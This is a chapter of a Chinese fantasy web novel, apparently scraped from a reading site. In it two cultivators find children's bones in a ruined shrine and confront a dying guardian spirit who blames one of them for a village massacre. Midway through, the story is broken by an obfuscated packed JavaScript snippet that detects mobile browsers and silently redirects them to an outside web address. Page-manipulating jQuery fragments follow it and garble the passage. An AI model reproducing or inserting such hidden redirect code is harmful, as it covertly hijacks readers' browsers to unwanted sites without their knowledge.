100. 黑牛

作品:《拼凑你的魂灵gb

    “嘿嘿嘿!快进来快进来!我们躲在里面,让丑娃找不到!”


    “我也要进来!让我进去!”


    不大的洞内,钻进去了三个孩子,然后第四个孩子也爬了过来,那是个胖丫头,她一进去就被里面的孩子嬉笑着往外推。


    “不许进!宝妹太胖了!你一进来,我们都压扁了!”


    宝妹不乐意,偏要挤,挤着挤着,他们就被丑娃找到了。


    嬉笑打闹间,丑娃碰倒了烛台。


    几个孩子害怕被骂,把烛台歪歪斜斜插回原地,一溜烟就跑了。


    烛台本熄了火,不知怎的又被点燃了,火苗微小,却足够照亮神像低眉慈目的面容。


    荒郊野外,沉寂的死气,破败的祠堂,断首的神像,狭窄的洞窟,还有渗人的白骨。


    莫名,一切都很莫名,可这莫名的白骨好似一切诡异奇怪的终点,又或者是起点,他走了这一路,紧张了这一路,此刻看见白骨却不觉恐惧,而是震惊和不可思议。


    震惊这里有白骨,更震惊,是李玉秀找到了白骨。


    她的一切动作都在看见白骨后消失,盯着白骨,注视着白骨,她异常安静,呼吸中却带着早有预料的释怀。


    他所有的违和感都在她的释怀中堆上了顶。


    按住她的手,他有些生气:“你到底要找什么?你这一路都很奇怪,从进入这个村子你就很奇怪,你是不是对我隐瞒了什么?”


    “我要找什么,连我自己都不知道,我要找什么......”


    她的声音又轻又颤,抖了尘埃又抖了白骨,似遥远,似近在眼前,飘忽不定。


    无奈?自嘲?


    她在说什么,他听不懂,他听不懂,所以他心慌。


    “李玉秀,我听不懂,我不知道你怎么了,这里是不是有什么不好的事了?是这些白骨吗?你认得?”


    不,他在问什么,这些白骨肯定是百年前那场李家村的灭顶之灾遗留下的,她怎会认得。


    可是,李玉秀也姓李。


    手上忽然发抖,沉静的洞内,白骨,呼吸,跳动的心。


    他看向这些白骨,光亮一照,他能认出人的腿骨,还算好的腿骨有四五根,也就是说,这里曾经藏了起码三个孩子。


    腿骨堆叠,轻轻一碰便会碎,这些幼小的孩子,在百年前死,又于此刻,又死了一次。


    他为这些孩子悲伤,为他们死在这里而悲伤,可那种违和感又来了,李玉秀没有悲伤。


    或者,他不知道她是不是在悲伤,她只是看着白骨,不动不语,她只是看。


    “李玉秀......”


    “是谁——擅闯祠堂——”


    忽然,悠远而疲惫的诘问从外传来。


    二人一顿,他们同时看向洞外,又同时对视,同时吹灭了火光。


    洞内狭窄,他们紧紧靠在一起,不由自主压低了呼吸,警惕看向洞外。


    孟寄兰偷观李玉秀神情,她盯着放在洞外的长剑,侧耳努力听外界的动静。


    那股维和感似乎减低了一些,她还是那个机灵的李玉秀。


    “外来者——出来——饶尔等不死——”


    那悠远之声又来了,这回距离更近,就像是趴在他们头顶,凑在他们耳畔,在这伸手不见五指的荒野黑夜,让人毛骨悚然。


    他单手起诀,却在捏什么诀上犯难。


    突然,一股黑绳缠住洞外的武器,长剑挥动,剑尖对准了洞内。


    孟寄兰瞪大眼,心里想着施放盾,但剑尖与他们不足几步,洞内又狭窄,他这一慌竟是施不出法。


    忽然一道灵盾抵挡在前,李玉秀双手凝出灵,纯粹的灵像盾一般阻挡住了剑。


    她面不改色,正当剑要回收时,她伸出手臂抓住剑身,整个人随着剑被那股黑绳硬生生拖出了洞。


    手掌划出了深深的剑伤,她抿了抿唇,紧紧按住剑,抬头寻找那道声音来源。


    “李玉秀!”


    孟寄兰也跟着爬了出来,他点亮火折子,小小的侧室内已被污浊不堪的气围绕。


    “是谁?”


    浊气冷哼:“擅入者,死——”


    孟寄兰拣起自己的竹节鞭,火光一燎,他的侧容也显在浊气中。


    偏偏是这一刻,浊气一顿,而后发出尖锐震鸣:“是你!是你!恶人!恶人!”


    他一愣,怔怔看向李玉秀,而她也怔怔看着他自己。


    “谁是恶人?”


    浊气用攻击回答了他的疑问。


    三道污浊不堪的黑绳携带着沉重的死气从三个方向朝他进攻而来,他一惊,丢了火折子立马施法抵挡,而这时李玉秀也来到他身前,挥剑以灵力斩断黑绳,但这黑绳是浊气,而浊气源源不断。


    竹节鞭接过黑绳缠绕其上,他旋身挥舞,将黑绳拧成一股踩在脚下,同时施以风术意图驱散浊气。


    “啊——杀了你——杀了你——”


    愤怒从浊气团中泄出,然术未成功施出,黑绳编制而成的网先将他二人紧紧裹在一起,紧接着浊气下降,将他们完全笼罩。


    脑袋仿佛被按进了污水,浊气充斥在鼻尖和口中,他闻到了死人的臭味,他受不了这样的气味,立马封闭五感。


    他们被困在一起,可李玉秀却感觉自己离孟寄兰很远,睁眼,周围全是蠕动的气,这些气像手,像脸,又像鸡像狗,可无一例外,他们都在痛苦挣扎,在她的眼前挣扎。


    伸出手,她轻轻触碰这些脸这些手,霎时,尖叫、火焰、刀光剑影统统从指尖传递而来,同时传来的,还有百年的孤寂,和疲惫。


    痛苦是可以传递的,李玉秀是看见的,而孟寄兰是感受到的。


    他忽然睁眼,他刚刚听见了尖叫,这尖叫中充满了恐惧,从浊气中扩散,而浊气将他包围,于是,他被恐惧包围了。


    但恐惧不是来自他心底,是来自别人,他只是看见了这份恐惧。


    伸出手,他触碰恐惧,却触碰到了另一个只手。


    浊气从眼前慢慢消散,虽依旧无光,可他看见了一双眼,李玉秀。


    他碰到的,是李玉秀。


    “不用驱散,他已经很疲惫了,他没有更多力量伤害我们,这一切,只是在吓唬我们。”


    他讶异,忽然,纯净的灵力从他们相触的掌心中缓缓释放,不带攻击性,是温和的灵力,像安抚。


    灵力的光从掌心中缓缓膨胀,浊气震怒释放污浊之力想要阻挡灵力释放,可很快,污浊之力泄气,渐渐地,它被灵力反向包围。


    浊气真的累了,它在接触到灵力之后就不再反抗,在光中逐渐缩小,而后凝出了一个人形。


    他现身了。


    灵光中的人形,瘦削细长,一头干枯而长的发四散,这身躯摇摇欲坠,似乎一碰便散,坚持到现在大概是有什么在支撑着他。


    如纸人般苍白,一层黑纱蔽体,他浑身散发着死人的恶臭。


    灵光散开,孟寄兰趁机燃了烛火,那人没了浊气护体,没了黑夜迷惑,这会看起来就是一个病入膏肓的人。


    可这个病入膏肓的人撑着同样摇摇欲坠的墙面,一双干涸疲惫的眼充斥仇恨与倔强,牢牢盯着孟寄兰,似乎有着与他玉石俱焚的觉悟。


    他不解,他不认识这个人。


    “你是谁?为什么用这样的目光看我?”


    这人不语,干瘪的唇动了动,看看李玉秀又看看他,而后再度于掌心处凝处污浊之气。


    像是不达目的不罢休。


    “你是从李家村的灾祸中活下来的?”


    李玉秀突然发问,她这一问,孟寄兰一愣,这个黑纱人也是一愣。


    “你,似乎不是活人......不,你应当未死,你一直处于濒死的状态。”


    她收起长剑,缓缓朝那人走去。


    孟寄兰也想跟过去,可她摆了摆手让他别动。


    “这么多年,你一直守在这里,守着这个祠堂,为什么?这里有什么值得你留恋的?”


    黑纱人怔怔看着她靠近,似乎被她问到了回忆处,刚起的杀心又缓了下来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376272|193190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“这一片的死气很浓郁,是屠杀,是李家村人,是吗?他们死得不甘,死得惨烈,怨气久久不驱散,是你在净化,对吗?日复一日,年复一年,不现身不扰人,只是自己守着这里......”


    她近了黑纱人的身,而后,她拉起了他的手。


    孟寄兰诧异。


    “所以你才这么疲惫,对吗?你的力量全部用来净化污浊了,可你也被污浊同化了,你......你会消散的。”


    哽咽,不舍,悲伤。


    她哭了,他看不到,可他又能看到,看到她流下的泪痕,看到她用力紧握而发颤的手和肩,只是片刻,她泣不成声。


    他震惊,可震惊之余更是悲伤,是一种突然破土而生的带着遥远回忆的悲伤。


    看见白骨时,她似乎早就料到了自己会看见什么,她没有起伏她平静,可看见这个还活着的却又即将消散的人,她的心防,似乎顷刻之间破碎。


    孟寄兰握紧了双拳,他为李玉秀难过,他有一股强烈的冲动,他很想抱住她安慰她,很想让她靠在自己身上,他想和她一起分担这份难过。


    若是可以,他不想她难过。


    黑纱人也流下了泪,他靠在墙上,轻声问:“你到底是谁?为什么要给我渡灵力?”


    “我只是过路人,我希望你能活着,离开这里,去别的地方活着。”


    “离开这里?你凭什么要求我离开?”


    黑纱人轻轻甩开她的手,声音虚弱,却坚定看向孟寄兰:“当初,我没能保护丑娃,今天,你就连我一起杀了。”


    他流出的泪化成了血泪,连眼睛也化成了血红。


    孟寄兰后退一步,他看出来了,黑纱人是将他当成谁了,也许就是屠灭李家村的人,所以他要杀自己,不然就死在自己手上。


    扪心自问,他直觉黑纱人应该不是坏人,可他坚持要杀自己,他如何能辩得清?


    虚虚握着竹节鞭,他很犹豫。


    “他失忆了,已经想不起来自己做过的事了。就算是死,也请你让他死个明白。”


    李玉秀突然出声打断,这一个“失忆”,他们即将动手的两个双双愣在原地。


    她转身,看着孟寄兰又重复了一遍:“他都做过什么,你还记得吗?”


    孟寄兰明白了她的意思,虽然让自己背了锅,但也算缓兵之计,他接话,看向将信将疑的黑纱人:“对,我什么都不记得了,你能不能告诉我,我都做过什么?”


    血泪飘散,黑纱人凝了身,凝了目,无力垂下,捶地而痛恨:“恶人失忆变得清清白白!却留我一个独自守在这里,守着几百口人!命运!为何如此捉弄我!”


    清清白白。


    这四个字宛若当头一棒,锤进了孟寄兰心中。


    黑纱人痛苦,他抬起头,指着孟寄兰咬牙切齿:“当初,你带着官兵闯入这里,不由分说便下令抓人!可不是抓人,你的兵在杀人!在烧房子,可你根本不阻止!”


    他又指着那柄竹节鞭大手一挥:“你拿着这柄武器,走一路打一路,每个被你打到的人都死了!你的武器上还留着他们的血,可你竟然什么都不记得!”


    竹节鞭......他低头看着竹节鞭,大脑一片空白。


    “血滴了一路......一路啊!”


    黑纱人吼了几句已经无力,他虚弱靠着灯盏架缓缓滑到地面,眼睛微眯,眼底的情绪又从恨飘为了怀念。


    “我驮了丑娃一辈子,可他的一辈子太短了......丑娃是很好的孩子......我看着他出生......主人拉我去耕地,他会陪在我身边和我说话......有时,他会解开我,我驮着他去河边捞浮萍......”


    浊气不知不觉从他体内跑出,李玉秀默默释放灵力,一边听他回忆诉说,一边给他渡入纯净力量。


    “那天,丑娃用浇地的水给我洗澡,我听见了地动,我想带丑娃跑......我有了灵性,却无灵力......丑娃说要躲在这里,可是半路上,官兵杀了他......”